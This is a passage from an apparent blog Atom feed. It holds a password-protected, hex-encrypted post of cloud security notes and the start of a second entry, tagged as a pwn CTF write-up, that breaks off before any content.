fe779ed045b87331eb464c598b4d93fbdd0716036b457255b8842da6df4c8a958e31e2eb5b3d5130e07722d10e72c5a7e25745c7e78a04248284a8c621bedd1ffbaf5c2b7beeac466f8abdfad7937c739e204b4874be8b805807f30875863767944130d14560968760aaf300624aa781b34339a4bd4189e4cbdcb8897d61ea5855b1e402751a3d48ba85d87cf2470d92e89e5c10868fc3efc610d3896eea700b8c42edbc6813e2919545ad52f2097f021dffb85c95a95c89a135a6f748c0c8139c710f70a342580cd3ae1f96bb5956df89c92f9b61221bba95ca74c1a189979d076ec578566d48f473c91c27c0641836333279e914116542af9b10fdee6907c348b309e132e845831a462c288b31a74b1a7468927a5511bd658d7fdddbb985be5dea419ba7f08af2f7ec3173c7b8713b8915e593978b8e4d8338064b1c6a8b1f55b7a155e4aa18476ad1c24ee8185a4f164fceb2c5e39b28253786c93cc9e299e8af2591f57b468d86706c3fa6e3a7130cf48e59fa9b80f283a4c2c9a3f8e133a8be46ca9089723bfda5def4ba0f51aec06a9a876a270f84fe2dd2c57abd6e6e9606f03715ff9eeb9d3ce5844af26835df57bda076a9b72e177cf9c56a4fdb4e7f1c8e58acb68412ff63c897f454eb171ffe328c52b57d25fbfb072fb621ec979698e7f35305e58174ae1ae2009214cc7b3847e252fbb2da62e11ca00dfd2501d76926457b0a16b7de8a07b29439cad256b412c154dbfb712674291327450183194ac3a26e675db21aba380d77f9a166c5f83b8d89c99cf38e80f2ef3c5783f55c66a5a65945fdc56d317db2a21c9add86f21b1d974a76c6d3e013bc99aaceca66eaf5445a237717f6a51d87e77b30671eac6bbbc617d6134c2c7c63f15488d820cf948014741f36a9a0f19ddd0dac6b136fdcf0dcac1388013bedf92009ddbf8738faaa78d680ee9e5d9ac9d2994b9ad056ed93372cb3160479c954493075cf2088f411ce51e807d69eb6bca3b6701993861ba1917ed55193f083d2fe041a636ae88bf3cdc53cc73300e5dd1034bbf9d555c72669ec299b00efad46eb8e8c1f6f1ca10b5d0fdf289dfe076f62bc59558b4699af952af5616fab3f433d20a5ae4f53cc065f75ab13ed49423bc27e77e61edc8083babdf4ce5f337784c385882dc4e09efcf9d9075e28c091de48543e33890d1c4c7c602149249b8d093e4977da353cc6ee8e58d37739c6e629e73006aeba4e9b48001ca430a48c4904a80b2c23f4a9d3d37f16ff7fb8f3494eb2eb33f6e0b07f9647f1539a9e2fc70dd621caeb03ba7d420dc5122af68b4f317dd3e2eb046288fac68ceb8e87ffc5295de18e7dc7e6510cbe2fc603477958e17886ebc08d409984bf7d1dfacecb43a10324a15940bc8e7ed46664592c24ba9dd6f51552c101d718969cca66af022685209107592ff5cb2c6e87f3069474fd290410506fb82005ab340dd06a50633415a39227da4d577cd3d4d86312507287d95c1f018c2a0035b95fb787b3ba343002f24dcc88c60841de11f3bfa8dd22c96f0b5b7a6bb2a879b96e611d68588cb8090b5a94bd3bf48ec0df03eaff6270e9deefc50cec034581ac8f458d48eb425c48c72b4016ba274c2a8abd4f8b36a8a8b0e115bd7fab0439b3bf41eae4c34355aad03029a3ae7018c41392c0263ad1e49575d5e42b21d8f7106fc2493a7f3fe03cd61a5b07b95715edae6f208147bc1a863f458699a6185854e8daa6c142a8901980691cd4552e2b7018490c0ed79706403c2b785769afa8565ace68112a6887bd29f4fe3c02edb0967a72300f3977b73341be964307c8c2c0ad08fc0b452d02468d4b8e4a79f74ecd3f98e6379cad015c06ecd0340f2748a276ca21c95b461f180d204b2f9380e6f0b7130d71674a60772f3d4aa2a8487dfee16f33c9efbb590123ccf332ed13a46b12032553e9c6913fa1347d0799333828b9369fd5ef9dbcbaa5aa120dacb0c87822ea1da763f17dc94fd0bb9994c07f3bbec51477df86bd326d36803043b4a83bba0e0b7d29285ca2556dad0b4f31a23351408ede9184f80cfc4250d89bca2535c6a6cf74079b52bd3931a3b84edff01f2f14219b0a7d115e6df671f302f6e00b9cb48ffb04dfc4c3af84631b4a8b8be51195217663a98aca29a0106a69b4c6d842fbad26186c84d3a70454c8387cf215f7bdfd38e71b71be6b325a2d50c9a456e22074c63356670bb39a325059f06b88bc21927ed26d7b15134de88719c78385c1b21ff850fd4989e0f7b2413bf911f3d99cdc493acd2e542e91940db3b87a6cd9b336dea487461c83259876a4e985558a6b4c2898e2933175234be636b2e270979f5aa9879880e1ac78f9074f15b7c132a4d17cfdf757b3e958cad0b82f82cdcef86a9fff7c5da92488e44e292fc43d2f865decc7101434fb168ef216e49dd00bf001b2c5f38904f56a98ae6c0fd3406f491523b3d079ccc5d1d27e3b2f688af179ba08e7c94f1b918cc82e9f3bdab97c56f4e0b776668e444678147084978df633c9400e0b4155a2f011ac588653a53794bcb2219f778a10bd10ad3d0ee75b1fdd0c5edc7f54ac817c45c545b34a51e33ca5792867c4a340f1024f69f14f2b602a8854409bfcb38a04a83da625b67b5a905a1465688c57cb3aad7c0691ddd945983063a2889094667839fe9ddb1990d3b98e906b344e00040dc14e2a62f86ba1842253d0b880b8ff9098a6f93c338b9de0985951f5ec2751dfc96e286b1d5d5e2bf3674dbdeb981e0a18bcd033c0409e7a095514cf1a5d8cd032ab92e97714c233eb3c20d3434f1a5145bc53a2b6723242edb09a2130581616f2502edc2add2397701f4e61a3232e177fbb71ce704bd121df91f1345833cf6326213960933c1090ceb3b41ea510063268f47fd31e8776c63ca135e7fc6c27f982d274b57263f3f4534ebcce5fd2144047270bbdb6b2f4eba0b0a305a984c6509575c3e9085b9ea062954fd98b693fd9d074c75af52c0ab3e7ec6881e448636d7fdd4bd0d9dfe7a3acc8758dd0b1a615a921339199304fc8aa3f30156cb13bdf6e94eed7e289d0670919e36e802105800d5ea2165f4276ca80e538dd3ca9b1d18e90162f0ddf8c59f15cc51e0605c9f3fcc2adedac9ad263fd59e4ff182950b10610271665574deda9f393c5963b2b70c6b8cd7744bd3c03a7aaddd7d19b0ab32f0c292dcc3ebdc7b43d6a7be2de05efe848414bb91ce9a087e841d988cf61e46e52a3d90ab0b8b8a8113fc9a84d61d8a1956211921caf92fda6c47e8c5b1f9d7ec703b63d03557b53127d12057215195b03321005d1ebd13adf07be17d1e60c3710c0b010cd764e47bc84fc3e84c0231e3d6bce2183dc00da2f0c52d934d7bced9f7262925c28c084fa23f240d63b28ee8a96756429f305b0681c0fae35471bb6826c82299af4e13cba01bba6269823e2953858e4999523aa854daec1e9d642e8695b4dd6a57b08fc81598578fb647d87db4774da8c5b507d294a58e843bcf62273984200aecb62d00225bdf9a8478ecbf255e5343e75b7645b8587ac50e1ec2d04d68248f7a97d74ad24f20943de9907ad05e75d2a0dc94c04fba91dcbc9cb268c9593451426445f36eea224c62dcf9cfeea49b753bff25ef90a77d2df05207942d8dbfe667cd260f8e039f88a898305a0bb70eb7a7fd3adc700897dfeb495706ebba09168a8078c5907125db87640f21cac14105ea5fbaa5152da7f263abf7de110e5aeb08f88fdf591aea55a270a0baa074ef02d9a4e432eea317f530c3ee6c784a86c64e88356331a5685f70e2a78fe880660fefde432df46911f71c25404293d87f0f27a3e00cebd172b883801d8aba7e8d2fa351ea13ab6bf77b24d3c5fbfaae1250a7f8069798104d0ba4d7f24cc2d32f65bdf6aced78ff65cc81f54ef2062ddeac8ec11b0288cc54cd316503e03de2364596b5ddc4d5977d87ab85759d0db1a6cec5b5c9235d8efd3f35f2d128b47604d44a17b501232300e893f927f76ed42b263a1d03d0d9d3b190cf73c8a76656bd71c4834ba42c576f11350e971e20ebb2fbfa40319edc4d4248ae920f080d84e92ee5d70fda0d46cd09c64cee937c68365b6a180fd5c8449e9eb6c44163ebf358331a76e6d8be2a451116de7643b5c061006f4b0624b257bbd541520dac061f888a48ccb2b50a25fd44a0883500a39b8921893bee2e0ec5fde155fb369e5da615edbcc182ce86678335ac85dd84e3a357a2066f1ea9948ed9e10d8a576f59bcc508bd78044ae4bd2a656c466b4c405ae8ef6143f045bbe6333ec79defe6de9c704a3b414bba1e956938db9394804ec102c8f3d1cb6552cf3f5bff4822e829a8e56494f3ee5cfa97501659d27ddb1c4e61c5e861e0441c278f7f964e4ded4c3836eca19b5e661605ea642f2ac028e00cc9f24d3543efe18af5edc6a15cda543097c89076f54e6da99e8064375fa881f658679aff06ae788162b95b05345f3b20dcf2596fba9047f277ec8423dfb7e60088af83c17d10918c38360aece9d75ed73ff3e27c70f0491c81be25e28c20d5b2659e677da094cdc87341f8a91b316030b37b4a2762c56e671f80a57fb701db53c6e56af5a2a08e1ec0b8154dc24b49f3d74548ad4a24d279b6c23f2c7f36384e839cba6a181f0eb7cddff32f818aa7b41043bd3e0e92833031b2d18b6cf3e07777d08a792c9f7d72dd982874b1f6a175de87438d82f979b1e11593e31d002978aef88e3dab7c7358425b3035e753e1292e0e1f10b7d4bc3dc23f7e87d9fa315ca41448a297fbe40a633670e5f3f996e06b85b1f38f0ac90809d6daa27e2b3177d56fd80c58fc966f7b5dd296479e95baccde28eafbca536ffaa97deb8ffc66e80c89284a58e40042cb212ea6876e961c2f91d7332b0bc65d5440a22d22c42bf5d3d8c3d55cf29fbac40a603c7f760a6da151977e37a6a178e35d4c97f9c5b75819ed5d9a254ecd190bf9f3ecc8474ae600792129b32de99fd86e3a1ca4a30c35be9f8a19e7016e65da6aaf378f094dff486c7f17141146de6545ceb0ae2fccec25c166468a01f80892b91dd464f42727dfdad1d9f8af0003813e5e42939f5dd9384f26952fa7fab00ff62aa56a4a3a4f21dddb5a115bd3cce12263b54b20e046eb4735be856d72337a406c04779dde09193da4b7539ea7bc6c84a668465d70334f68770d30ca2cec2585310aeb813db182803561044bf7e9d84b7a262ce37f7d965b1aae630e68200ed4e44dc9b74452a04ed13361130bdff9a078a25a7fa6a70f2aed08f6c919a73c338132b81154c45e5d22ccb2948103ec16311a57a5b7039aeb958b4d6e4a690436465dd76e41a7e7cb6eb547f67ea97bed4b163001643e6d3e8abaad196fcdc6922906c6b46667ad03b333dfb3bd2af324e978274088c4353cf8629ae55c56098c6251077e77a38bf692dbc801f71b7c1bb91394497bc64f28406ab0ce1713b846683dc38c5103bd853371c4a764904f60fa269f1e6ecc1676a4ee13745375390922ed35beef31b0e6fc9ef7942068f096754083fcdfbc75a3ef8df8584a6c00c535d537e57f99393f84966e6992e302ae8955828c71c592ce571ec8cd239be13ae5cd4a19472dec4acbcbc1da74f19d599a5d3487c138c74e95a918bbf812097a01ab82f6c548ebb2e2856a25c69be41c38ec8b380d82b06a4372a15ce2cd8e5d7a850114a8e7639e333e1e16c81510edd1bd0c328d4b242ed87449c930b0336f5f1f23e45d6184a124b8533f65781610a10cf74030c15146a3b1da3b8b1e5350fb3d0d0451b337ff41cc7c5f6ad3b79e798fa33e1bad4dd24fe038bea0db211491941fbcbe5437c11ce4a097cdb546bc53dae5ab88e0e1c255501bf8d525eb4531ea32c6c501b30b3817291135ca212281b07c8866b534d449504702b03abdbf4406b9baec2cf9b54579bd9ddc6ffe4cd5fae3caee76978483177509b5610776f6900e875049dbd6468015a903284d56c1d99a1a7449c9d358ee047ac65bb245b312b8ca6defe944f61c89721faa7fb5b431d2a216d923eca6ba3b327eefd693a3388e6be37ab43bd157b48fd47c3c8f84e24df93900952b378fca7927cabaa6c0c7d68ed9e5394b9ef0f86c389daa6a7a07633413e29b5ba80dd1c6525cd16d0131e6ace9e036ec98a65f5f6068c9ca16b546e7c33b8a9773ade8baa0a4600ca4a09f5aaffa9f1afe43fdcae1183c6e4c7741c88cb39139785f45ac7a8e97e8eabd39b9226d4b4e7e2bab37697e082d95a35e5468c726e577736ce8f695c1a592d6321e966f8eaee30c0172be295c151171570daa8bcef87a4d23d74d33ac8bf5556de1dce0c1f4ef166960ba56afc5606bbd934f3c7adb6ff1a1bc6ece97952096bcbce738fcc11b5b454e16e9f208c91b0a2697729c1bcc993d340faa1c9ba30bb6b86640409642100e577b7cc8a27efad993fd137032da9f13ce1237907097002fdf654ffb14dfcd1e42622e52c6e21257ed572d2483fe7f7b577f212ba6bc23ae41654f72fdc2866ac51b08d198bd16b6e95ac9d1b3cd0cc23cae8e16c77fea0995df120fc28f9567f97cb6f9d3979231e0f045b09122465b45e4d98de4eb75fc3b5fd7c0d0ebb06dd94322d4b88411f8c7b945e5fb5cf819bee922281879eddba35cd1f253b0a6c8f82337876ea4ff55d848193dec4431027486b05392544bde75f0afb1ea19ed3840a43b8a086e8fbc6aab203feeb2310ab909c5af1efb00a562ab06191cad84dcc5156d7716f7bba22574086c00602cd33ab78eb891a4c8bb7ca77a62eecf3e9d21cc06fd852e76586d87d2c18309c2531a732630b21da21aecf78899a6cea98ff072b1b4f507e170c2eb6975d9f067be4652810ddc6f414f91da2f674623508bf4016931df858d897aba1b3c3ba7e8ec2bf4087f302f89aca6252e45381a95b8939b0c63c55ab40258952c5b08909461e116732c5ea8427b9acb2eaaa943916d1254a87111c659ba3585cbd599d20a502c28b5e40d4eef0c4a655eb4e041a3ac32e9edd3501eb2432f3d5c9fde9641e01f813a34d7098e397de83e1c4183124dd77b049d076e46cdeba52636a0930fd4f38af305e04bfbb0314b4a221cf8849bb1417f48bfe85667f67154ae0f72a02296cabe8851f48b5697deb4c274504a4823408f806685c9fa6ff8bea7ce64073049f5ebede97c3da09b291fd732ad6a318eca3420f29295da90f1d0b5ebeb69160f0f12f9c7caa43c7a86d83247ffc612985ece1e1b47b883c05cc434d7a4bee99d7a005d6010408b891d46b86c9919766c1213a29f7cf8adad6d03338ffcb77731df397c361ecfc5a33f9e1beb5b74b94379be24b3f50d6f52f779f2d655979afa419a9718b8cae0fc7dd0b88b41657189af910f17970bae3fca142810d2c1f6d3ae7f21a0fa9d7e04395ebee45a7da055fd61722c64f97e9c4c46283791d0fa4922f57a2d6d861c13c0f94905b4c168bd4e6b22aa5942ba3aea8749f30aa4cdbb85f73e21489d9cc38923cdc912203115a530b4504d9723da16a188fc65c890fb7a81db5170a4d50deaec294a845de69565d1b89b8091971867bbe7e527679ee354d9135f1537c79bac5307402ad8c67fc2e583218165854d5611db11ddcb9955cd5cf4da9a74c86df33e886348196582e00cb20d5419745f3c79a67d2e59dd8561d4903fc844fd6ceaf1f17457294a0d04fbd4188c426676d2e33b95d6f4721a63444d2a31ff5ed618f56cb72f64e959a5e90f16df6b62eb13c8e3a3dd9534100aeeb478912c6b7167ae42aa33f3ba8764cd39c2c8fc16cb360bb09a54040994d3b370179f08b927653896cb1ccecc5d8827a38731f88e5bed03498e062e046703e582eb73e77864521993779acf5b590c5de4e078b4ee4c3e91ad25417e97fe1a7d56c3b3dbe3ad4b647959ecf015ee7cd3c99f2d3f6c5def66a8c86054860acff0fe7c71e53f323f870faa6b1152dea200c9cf6da8823364c392d8465d85543ae92641e368a2503ccde39fb405e6e9e3eab4c332e6c88633685d79232c26c88a8d90af85920e945c6c389ccf4ca292d609545ff13f9d85d6fe3cf6cc919d6575304977199d00378484dc4f584d93119fa1b6aaf9381cbec0c477ea7e04f749e286983b4812fc9cf15c9dc7e6d891648fb1fe8ceb046337327cf1bce5bc6f3d3fac017d29ad16cabfd53e95263c402ecfb6ac4e3ad8ba18bb325028dca37150cf9eefc889557628e1e1b624ed116d7cc418fa1a76b1dbf01803e91c4c5050eeff77017498df9f97468873013f4280632d45e890eb7c21c2217df44a783abe3eaedeb70aec972790fa311d2ef97f85064a349a78edfa80e51d67190e337a57a55899b63f24e9480ad362fd113bc94716cb5c56d53320f6465017645a6529dfdba96dc4445218c0c804e2fa44c7c69d364baa87b5a2a074fd469db5bd01b2df828532001dccb3e9ed311f8a1828fa75f342bc7b01bf001fbd622f62948d8f4b97b067001c69f604d25ae97557b8bd4f510c364cd0939a619989f55a962ce77553a89c91bb38a3834807fbbe56569eec6f9ce72fc26019e857ed7310c12d4d66b3ea22108d0118c4a81b5b2117c2a6ad05463ad4e5303d6e636a50b2de0b9446bacc2c7ea651dea66308de4b42b5b9fe68c23cf30d12443f5bdc6e5916e2eeba5331c74e73a081ecfb3de4574e24f5ac923deace46e69777059c9e5711260347fb80c01cdaca188f6b00bd5d3c38da923cecde5e59f43b394eff692c6a3a17de14593a996dfaa744946ccd2d8742c2171b7b703b2c7172117b587793696bd8fb1cb5f798a7fcc5d5492d4c5bee2ee5df848adc5fb3421d121bfd133cd0e1556a4a26515c9003df5265dd0faece1142ae605fa9e24b9129dd02e909f21adb3c59e571363a8a98917c3b3646f685d589415997a026345f1492fb6d9937b68c4137cdd746e9b40c1c4537af93608a118a2b3083474f588914188bfeff3e061aa0981178beea6d57c3d36b9666bd66f4484ee93a9442f328f08076d39ca7534bbdcadc6d88e091a0a29209e140cb3389dc09ac8e10f70dc701c2b8ced0ff6bbae87728d64a7fb32b01adbb747b365151f289f122dfeb5e2100020616a6a742b2965cef789a2c18effc4c76e0cc56da62a5d82a6b4969d4756fc7c0c642a965f0b8c3f5a49c7b76fc5159c598c6e5cc2329668514e8809717bcf0abd15f6f33bedb8ac3fc996bb1e13824b1c73cb642b7b23be7dc7a266c781a668e66b3bbad19d4ea215f4b981d189c48832d93fc9dbbdcd1c7c589292c3875676868db0d881a7e040b014a14866dac13a89c5f0ace3043436ebba71677bcf446c63a651a5e13a39a288e83db279b87f7253c561463870b9ea8e9d6cd8c40937d37258a4f6443dec49601e62041d3865e9c525596470237a5c335795b7fbcc744d3c30dd08df247779de1462bc9a5083ce02947d292827ac196482343bbc26603b389095fa325d43af1af3aee5f4a2bbb7aa413bcf2941cbb0629802a594ac245b1578c74656c7dbab8d2743157fc67546c00163f65a4b041dce3d1d3ee99d48f562041a1c8e213c68ae349706692ac61b40537ed1f5e7431d36758a14b7315c84b36a32eb6da3e2271034b0ab5b40aa1706ec759e9516440ac21e6a15974524eb27c36dee1bb26b09a1724c45398ae2e7c64a306742123445c548d263dc38105b1eee3d46940cafc525150d71bee298b0f57d1a40455c3a275bb517dd129ce730070698acfd34da0384d9f01109c40de11191c67cad90df7f28089d7af39d45f1eb299f17bb89241bb9150a4a4937fde70d611e5d67a59e2ba9802b6906aaa326e397847aa2bcb6a0f05ec992ccec11ee912fc5a33a9a60a93823deebf3b607fbfb894ccda56e193f02786c7e97d727140d3cbd64c0a053f53fd1839579748e82f72ebe3dc1accf989e90df33f7c525f44d515746e6aa0a9ddfa8690fae3d66ab513f789066b4b2b248f5ed540736625d2d1ad068a58722aa71576c07065fc03c72d0d642694f59fca7f463d7803647fee9acf67aded56b9c638e5cfb350436a7f2f764321bb47c87db7615d9bffd920b36272d2e0ed337c88a5ad8e9c1482b2bd89892f1a1a1baac22b4bfb7c3fbe232f7514dba6c3b59340b47123de0bb1ab0f7230ddf5ea51a332ce0f3fe9e4d56a9cb769d06627a015d614b029152cfaaf8e076a4fd89079030aa641faf545e38256cf321f213d92260b386b2ab5bd78f56f53388482f0e6d6cce337eac3f8ef5ffc3062c21306ea7e571e4ac3f7aa52eb8905b2096a65069a1e3cc4fa7f3d11032b6b6f27345c6511c26f3874e6ee874de82fe90b44cf393b89c51c698e546896531a98b90705b97aaa0d451258a7b1ba8bf7b59010206cbb4f08d9810748bba80f2a2cdba1f771ca3fa3b135cebc64d91d70b3da91eb61065d9ec2cabb051e0413c046a5a0da89414f9ddba079b5485007d247388e949952de8b3d7e3124abc92bb0f6e8a905d59bd0012fd154dfc1fd08a7fd8600dd4941d8ecdf302a217d0843cf723a80b7a7cce730a43c734609286219cbacc2f3c77c7c47775e76acf8b87a116c3716b6471ea8cd75ea5f3adba9e7322dfbc19ecda5ddb3c63033260969411a1934c9596516ec8cb261f21b1364540fe0a1777d2c9397699a7357cdf0fefdb477e644fda46642d079370673dc822fd944270c35f6930e3c983db03abbce646cb09303eb6c6b593c1ab1e7addb3e02536d04570dc6846339dfa6811cc30bed3bd930909bc7bf3d93f60815500c17a027f8755b8bdad3b257875d07dc1732960ce2eb3263a4d3fdf9a4e3edf4416fcb2e10bd8af81e6e83210d3c8fcce4800a8572ab3f62b30af50f269bf5c3c1703beb84c82b872345cc5c2484f7f387f3dee829dfb29afba5b470431dbfe1c0bcb76701877813c4dd7f9f4f00389564d23eff714964d6004be3a49d5adf429dd6d49db9b21bf3a6d3fb677d31177f4020f25d6bf71d2c0bc34277ffb8ef5c16213ad2687ae464a73f33ed05b70b5ebe28ee462c52c07029cb8367945a7fbfad30c6d898dc7e7c62f18ca4d131344c996f7dcb231c0e05769eb5c8e63d5ba63fb77d60296936ef64ae97ebf5c134e81509ed5e397b5306268610698b7ed787eedb09a84cd0ebbfce435eda68b732eeb1c81d70d11d6011e9cdc91b0710d9612c4b4191f884a2e6745f8797ef93be69ecbb33a86b76c5c47fb4610668a2b492c4660616a1d09118b54115e146c23a74a894e1162a0482d5ec30fff14ed1aded29b05c4b62cac57f640ddc0726019f186935a79a2c5e689af987b45c950a65dcd70914448958c0c36a4285a1a8a7c024b213ebbfb69fd6693bc060e3a0b14b6b645dd601929d768514ba149f177a4226ce15a859b421e96bd649c458b3de966569d5905302405a205bedaf24fae6d4a085efd82d33e2e4e8a6b8ccebc9baa83137f10fe441b16a42e12d5301eeaa45339d5d1a1bb17ccdb3e317e8b8172f71b75f51897f9a8d2f17fd3fd1e6f1a9be5a099f82362d1f8eb01d6606d4e7cb716b89d49de4071a6955b18488c54925382af2c8b65d8c911f971e9acf70f1ce9fb4842e465645d5d49750c5b3320ce21364c94be8bfb520d8e90e2986ced7a7b963778fba768bc48f5b239e214090a314108903dfdaea40ef38b2dfc5fadea1841e2d06d7b15abb5c1dab5833ee102dc2dc7a249aa36c778fdbdf5c1bebb18cd330d3d4bef91d36634f74657ec445f2072eac57ef8314311d1b3b82729980940cf141bcc9a971e6ba272b624eaf1c1f73147a0e74ea25808c99efb764a8799ec8ee66c44bc42cd11fc8ebdbcf3ca53309700b5073b47bc2e9e9bb0ead80f0d003e28a365aef5b155141b649e821e924575c35445ef834f58ca2ad4d5e51508caa84bd4931960d3af42ccc23891a3aee7035cb4c962f876d03e57b7c410ed758a8385456c83ca01850e846531e9e05b5b8103b240ba0fd0e30be6f5ad521f80c1a061b78ecf51d08a94398641e8e5e79143f03e2d2d48f59ce09df504d2bfd15fd4796ec138f5ba0ff5dfbe1e8b20a2e2e00b63c511bfe6d0a8bb2ddad961f9578b1e44e6415403aa522f992392f8e4ed3726367a1b4d22a1143e761274ed0db8100e10ebd2958b092668eefa3c762a148f0f351998161df445a6265d8de2e188cf5c9f28508562726588ccee3143df7950c1afc941daed2a4cc379ad7f7ad13e4c6a899504ac30bedf5d9a493d59d290cfaf185257f8ca1782cf1a9ab52c3fe346335ba734bc5944297a31776d0090585eb4d2306a3db3bba3d5a05f7b6bfcba70103fccd6f21f2d26dfb7b260edec89c403458270fcc0ee7787cb94ec8edc8f8af6b7fd5c94029b34b05110887a921ec9a4d187cbccdeefaddd9c3955a7732240d4313370efb9c0772858979c78e8874780c65a10240ce1af813601078a51663d21798c5aa1be93794558a0dacc71b1b9b485cfb4d24b5add67cba51d2760ddb4857d2c229639cf22594b7cb7391df72e85f45d4e6f7de112636bf72ffe639b4f8b3175fbd79772a657f1aed558c1ac5897efdc60bb8e0f0ff03cc54580f147cc677c546c5029a19e08140c98470ae085223ca822bb20063cd53e0e16136a7ae93b68d8c60f3fb3ab7c073867666689bd1f11ef826f80400267cd7033e621d63f281a078c0defc41e7fdb33a5e16ed407da28e06468d3cbbfdd83ced8dbc0cb1b7c32647349d3ee18a9aaec417cca9417162b2eb7e8fec4db5d9c93e51de2efe7707e82c742a26da56a5e22d764bc923ec3a1affc2a907fffc3485956f4f2f5cdae9b7054ec2e9e397a21f855b7968e2c9c38d39872747f36393a072cf9f883a2dbe7d81b80892f460dce0056ada8e2d36d6c22f66449163ad2806d9d032618dfe031d2aef8b8e1f7cf0e81d336c1af5af1f86f55dc3f26c141a37948366e8efc288845b12e8bfcf9acedb6cbe746218bdf7de0fa877dae675502e9f97ac710b84100af4fd5e321a4c1ebdc14a5f03a3197a3a4e7660ee777373128671e2fbb905edb99a157110b1c4363376740d499a6399c4e87a9fb518e5cf56b61d984be0aab47b12fe61e6b8c1bcf62a5dc7394e4c3089b153cbadd61461c9ca84403522e28d9e64ae68ca606d132c1f2f7c50ea4000dcf4258b321e65cddb032d6911b12443df5c7fa20ca5ad96d3d1217d7ba1a65451c993d85914c8abc17303e03e1043272418fb06f31586d4f257b734c99c4cc9d2bc4b78883f7caa73f8934e7f56f0fd067c57fe8600db7fed57661830fb2d2281ae9402059835ee6a168e84a0e3d46838e4e772a27c27f81537384a4cda440a83880e6e0343ea84dabefa4cf122f4cf88e0ab2b400d1b8265ddb6cc22a09f5293c5329e5f9484458f83c4a9b1625c67cd81fc7a84b2b8e36ba70e14a823beacd1111049f431aa6af70e398d5af9a06b6802d624e4c384cc77e82ec2d565bd0350692a1757a7a4c87be63e5eb82d3dcc90f5d318e58e8ed7cbd5f974cf13f4413e7b04202dff8dd870d96ae82a6b08baf61156ed970e178dfbd120d8f3efb4985eaef38e40339c42cd99e392ed63f69e0440e0d496e5a3a6fc9c3dfab22ac61153c67e6233d52f714387b28fb30e589e0519b09e28b038bc91a42f6b4fde44f104d8907283b6c32d91142e34d77335242d92ad3ad5449691d3c514df6b0a5db889e35f62ba82d2f41ca3150e049ba902d6cb7a4c22ad8b5f427306acb9def6e66be52568b0784052c117646afe9e26a6d62e4b21b4039c67731656874d5e2785b9ac7b893a9fe4df95c3063583cdd67fb75d1bbd02671c2d3dbda82ca47ce7efb23448fa12c8da5974d48d1683127b2246d5ab8b3066510e24578ec1a3f37a218b9742074e486cc3911668c3c7feccab7d38eeb809d720692dd5d969db8cd7541b0757d91a2c91830051a6dabe9a1959c903505b387f11b326e57ac740d669a9df73ece7360747ef245934ded0afe3402ccfecbbdc540572d63c7ddea335d7abd87873065833e4eb21ae26b2f2080f1300f0a8cc038a92adea490b964c093c49c4013327165e881dc674d468333e46166f89f6437a0d677dc0dc746ad03a969e1454bd4c5348e5a3c76a5b896c31d922ef33d2121bea84e72ee325c7a0a75d1c2dfa60d9f97cadbf23f1d1c4f5d795e79fe55b0b17c16027c3bbf14543d495e9a569eb31396401f2d19f34a6283e516faed8043d82094debb33f6a1a7eb341ec837f6de50f4c6211126a5691981e9f7d4dd9f38ec2ee50decd329cb36990732ad50d24d0894ae830659321bc6c4cf00aec2aa5edd0f1e07385a13bead89c9adbd8b93ae28083d0950726e303f73786df1fa10718faeb8128b5236ff6c8ba68dd21a0c9bfa73a45f579fa0e172e8309ab53d0cd00e2c51d2afa66e0bd4b633b6cfa530cd0dbf96fbbffe0ab755ffc67a2368e9bf2be8a8677bf779e4d9ae6246632e91c27e5f7359f2b76524a3a8de9db85b1b3ee8e802a127a1608c95e85e360a18d13c23b4c30ce0c77532256f8153349ca5dff280ca8cd2b69066adc8cf1fa8130864f285fe6cd26b61b847ec15a2055c5b1421612a74de3cdb3bed568f97a64daccf36de5bee4137a72913ebab33342988a673d4c0434c98532f281fac502d2d838c9a2345d62d61b1c83949590dec2f705f270855c9272bbd0fa04ba3a6da0b7e0b2ae9a5ae7db1190b52b60857e2a461af609eb46930cb1ad0f585505aa4f4ecb0e1a4dd30819f77ce3812c4153837253b10b84ccffc91cb8e3d34a3dd840996fc3d479b502236ac3af297294377aa4724e2ea95145353e896f9ff03554f8a0f09d4aa0b2dcad54ff7a60d2e341f91864a64e978fd86b0d42aa24e95b513d01ca1742902116208c1517589b0b2ef5345a8a6feeebd15e956b171c69dbfb0fcc3e1d78123e2da003c5eb471b4429bef77d3ac47eaab3016728cc41e083e51abb855547379fab9f18f4512d1b854597e2af5fd650542be831d762cf976f159357a04c8b2a8e842b413d37f5cbe18ecc03bca4c1911ecbea01247383c89f74d1d896bf48fd833a7cc3a995146d1cb09522bcc8620536bc4ab1841a646562a  </script>  <div class="hbe hbe-content">    <form id="hbeForm" class="hbe hbe-form" onsubmit="return false">      <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>      <button class="hbe hbe-button" type="submit">Decrypt</button>      <div class="hbe hbe-error" role="alert" aria-live="polite"></div>    </form>  </div></div><script data-pjax src="/lib/hbe.9e70f1e1d2.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/29/AIS3-%E5%A5%BD%E5%8E%B2%E9%A7%AD-Cloud-Security-%E7%AD%86%E8%A8%98/</id>
    <link href="https://r3xdj.pages.dev/2026/06/29/AIS3-%E5%A5%BD%E5%8E%B2%E9%A7%AD-Cloud-Security-%E7%AD%86%E8%A8%98/"/>
    <published>2026-06-29T07:14:50.000Z</published>
    <summary>Here's something encrypted, password is required to continue reading.</summary>
    <title>AIS3 好厲駭 - Cloud Security 筆記</title>
    <updated>2026-06-29T07:14:50.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="pwn" scheme="https://r3xdj.pages.dev/tags/pwn/"/>
    <category term="pwnabletw" scheme="https://r3xdj.pages.dev/tags/pwnabletw/"/>
    <category term="shellcode" scheme="https://r3xdj.pages.dev/tags/shellcode/"/>
    <category term="bof" scheme="https://r3xdj.pages.dev/tags/bof/"/>
    <content>
